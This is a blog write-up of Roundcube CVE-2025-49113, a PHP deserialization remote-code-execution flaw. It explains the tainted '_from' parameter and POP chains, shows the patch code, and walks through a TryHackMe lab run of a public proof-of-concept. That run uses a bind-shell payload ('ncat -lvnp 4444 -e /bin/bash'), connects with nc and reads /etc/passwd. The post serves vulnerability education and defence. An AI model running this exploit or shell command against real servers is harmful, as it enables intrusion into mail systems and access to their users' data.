Aditya's Blog

🚨 Roundcube PHP Deserialization RCE CVE-2025-49113

Introduction

What is Roundcube?

Roundcube isĀ a free, open-source, browser-based email client that lets you access, send, and organise your emails from any web browser.

How does it work?

Roundcube operates as an IMAP client. This means it connects directly to your mail server to read and manage emails, allowing messages to stay synchronised with other email applications (like Outlook or Apple Mail) you might use on your devices.

Since it is built using standard web technologies like PHP, JavaScript, and HTML5, it can be deployed on almost any server environment (such as Apache or Nginx).

The vulnerability

A vulnerability was discovered in Roundcube Webmail in the version 1.5.x and 1.6.x (until the patch 1.5.10 and 1.6.11). The vulnerability allows for classic RCE (Remote Code Execution) using authenticated users. The vulnerability has a CVSS (Common Vulnerability Scoring System) of 9.9

Similar to the vulnerability we discussed last week (n8n: CVE-2025-68613), the weakness in the RoundCube webmail system arises from improper / insecure serialization and deserialization techniques.

What is Serialization and Deserialization?

SerializationĀ is the process of converting a complex data object into a flat, transmittable format (like a byte stream, JSON, or XML).Ā 

DeserializationĀ is the exact reverse: it takes that flat format and reconstructs it back into an active, usable object in your application's memory

You can view all Roundcube .php files discussed below here

The _from variable in ./program/actions/settings/upload.php of the source code is where the vulnerability exists.

You’d ask why this variable causes the vulnerability. Well in ./program/lib/Roundcube/rcube_session.php , there is a function called as unserialize() . By altering the _from GET parameter, we can ultimately influence the unserialize() function.

The aim is that we as an attacker get to choose which serialised object gets deserialized.

Before diving deep into the exact payload and steps to recreate the exploit, let us understand exactly how a vulnerability like this one is discovered. Kirill Firsov discovered this vulnerability and uploaded in detail the techniques and steps taken to find this vulnerability. Read their article here

RoundCube is a PHP application providing webmail services. Within PHP there are certain functions which are a bit dangerous if any user is able to control them. These functions are :

eval()

include()

require()

system()

exec()

unserialize()

unserialize() has often been used in RCE’s in the past, so any hacker or anyone auditing the php code will first search for this function.

The next thing to do is ask ā€œWho controls the data going into unserialize() ?ā€

Well in the Roundcube codebase, the flow was as follows :

1. http request ->  
	2. _from parameter -> 
		3. session handling ->
			{session variable name} -> 
			{retrieve session value} ->
		4. → unserialize()

Now, Observing the _from parameter in ./program/actions/settings/upload.php , we see that instead of validating it against an allow-list, Roundcube simply accepted whatever value the client supplied. Normally one would expect values like compose, settings or identities .

So instead of influencing directly what goes into unserialize(), the attacker can influence which session variable get deserialised.

Roundcube also stores data in PHP sessions, they are often stored like this

$_SESSION = {

draft

contacts

settings

uploads

...
}

each of the values inside a session contains a serialised object. Normally the application decides which object(s) to load, however in Roundcube the _from parameter - since having no prior checks - allows the user to influence which object to load.

This is commonly known as attacker-controlled object selection

Attacker-controlled object selection (or Insecure Direct Object Reference) is a critical vulnerability where an application exposes references to internal objects (like file names, database keys, or API paths) based on user input. This allows attackers to manipulate inputs and access or modify unauthorised data

Once a malicious object is created, PHP invoked magic methods.

Magic methods are special methods which override PHP's default's action when certain actions are performed on an object.

The following method names are considered magical:Ā  __construct(),Ā __destruct(),Ā __call(),Ā __callStatic(),Ā __get(),Ā __set(),Ā __isset(),Ā __unset(),__serialize(),Ā __unserialize(),Ā __sleep(),Ā __wakeup(),Ā __toString(),Ā __invoke(),Ā __set_state(),Ā __clone(), andĀ __debugInfo().

Many classes in PHP were never designed with hostile input in mind. If any of those methods deletes or writes files and execute commands then the attacker is successful in Remote Code Execution.

This is known as aĀ POP chainĀ (Property-Oriented Programming).

How do POP chains work?

Since we now understand more about why such vulnerability exists, an exploit payload can be constructed using a flowchart like one below

Authenticated user

↓

Control _from

↓

Application loads attacker-chosen session value

↓

unserialize()

↓

Magic methods execute

↓

POP chain

↓

Remote Code Execution

If you want to see the exact Roundcube code where the above is being discussed, I would highly suggest you to read Kirill Firsov’s article on how he discovered this vulnerability



The Payload and Exploit

We will be using TryHackMe’s attacker and lab Virtual Machines to perform this exploit. You can perform this on your own VM’s as well. Just make sure you have the unpatched versions of Roundcube (You can get this using the FearsOff github repo - It is advised to do so in an isolated docker container and not on your personal machine).

Once the attacker machine is turned on, the easiest way for us to get the payload is to use git :

git clone https://github.com/fearsoff-org/CVE-2025-49113

This payload and proof of concept exploit code is provided by FearsOff on their GitHub repo

Simply paste the above git clone command into the terminal and three files will be downloaded: CVE-2025-49113.php , README.md and rc_install.sh

Since on the TryHackMe virtual attacker / target machine, the vulnerable version of RoundCube is already present, I won’t run rc_install.sh

Now, CVE-2025-49113.php is the file we will be dealing with. It contains the proof-of-concept payload so we can exploit the unpatched version of roundcube.

Now there’s few things you need before running the exploit. You need -

If you are using your own VMs or containers, make sure you set up roundcube on a local server and create a test user. Then you can use that machine IP and Roundcube login credentials on your attacking machine to run the exploit.

Once you have all the information , you can go ahead and type the command to run the php file.

php CVE-2025-49113.php target_url username password command.

In the case for tryhackme VM’s - the target_url, username and password is already given. The command can be anything of your choice. Since we actually want to see if the exploit is successful or not, it’ll be easier to use a bind shell command so we can keep running different commands. The bind shell we’ll be using is ncat -lvnp 4444 -e /bin/bash

So the full command in my case will be -

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 4444 -e /bin/bash"

Hit enter and wait for 2-3 mins for the exploit to fully run. It’ll run each step one by one that is first retrieve session token and cookie, then authenticate user credentials , inject payload and then run the given command.

The exploit has been run successfully. In the case of a bind shell command, you might see an error, but it actually should be connected. If you type in the command below, it should connect you to the target machine.

nc MACHINE_IP 4444

We see that we were successful in RCE (remote code execution) and can now fully access the target system files 🄳

If we then go to /etc/passwd directory, we can see the names of other users using Roundcube as well.

Mitigation

The vulnerable versions of Roundcube was later patched. We can see from the commits made to upload.php and rcube_utils.php below that now the service checks for improper _from parameter usage.

//upload.php
// Validate URL input.
if (!rcube_utils::is_simple_string($type)) {
    rcmail::write_log('errors', 'The URL parameter "_from" contains disallowed characters and the request is thus rejected.');
    $rcmail->output->command('display_message', 'Invalid input', 'error');
    $rcmail->output->send('iframe');
}
// rcube_utils.php
 /**
     * Check if input value is a "simple" string.
     * "Simple" is defined as a non-empty string containing only
     *  - "word" characters (alphanumeric plus underscore),
     *  - dots,
     *  - dashes.
     *
     * @param string $input The string to test
     *
     * @return bool
     */
    public static function is_simple_string($input)
    {
        return is_string($input) && !!preg_match('/^[\w.-]+$/i', $input);
    }

It is recommended to users running versions 1.5.x and 1.6.x should update roundcube to 1.5.10 and 1.6.11 respectively. If one cannot update roundcube for some reason, it is recommended to block upload.php file. You can get the script to do so here

Conclusion

So today we talked about Roundcube CVE-2025-49113 which is a PHP deserialization RCE. it highlights the importance of having proper parameter checks when an user is allowed to influence the parameter.

Through researching for this write-up, I found and learnt a lot about deserialization in PHP. Such a fascinating concept and I hope after reading this article, you’ve learnt something new too. Let me know if want me to cover more such deserialization vulnerabilities. You can do so clicking on the contact me tab above.



Sources

TryHackMe VM's

POP chains

Script to block upload.php

FearsOff CVE 2025 49113 Repo

CVE writeup by Kirill Firsov

#CVE #Deserialization #PHP #RCE #cybersecurity #vulnerability research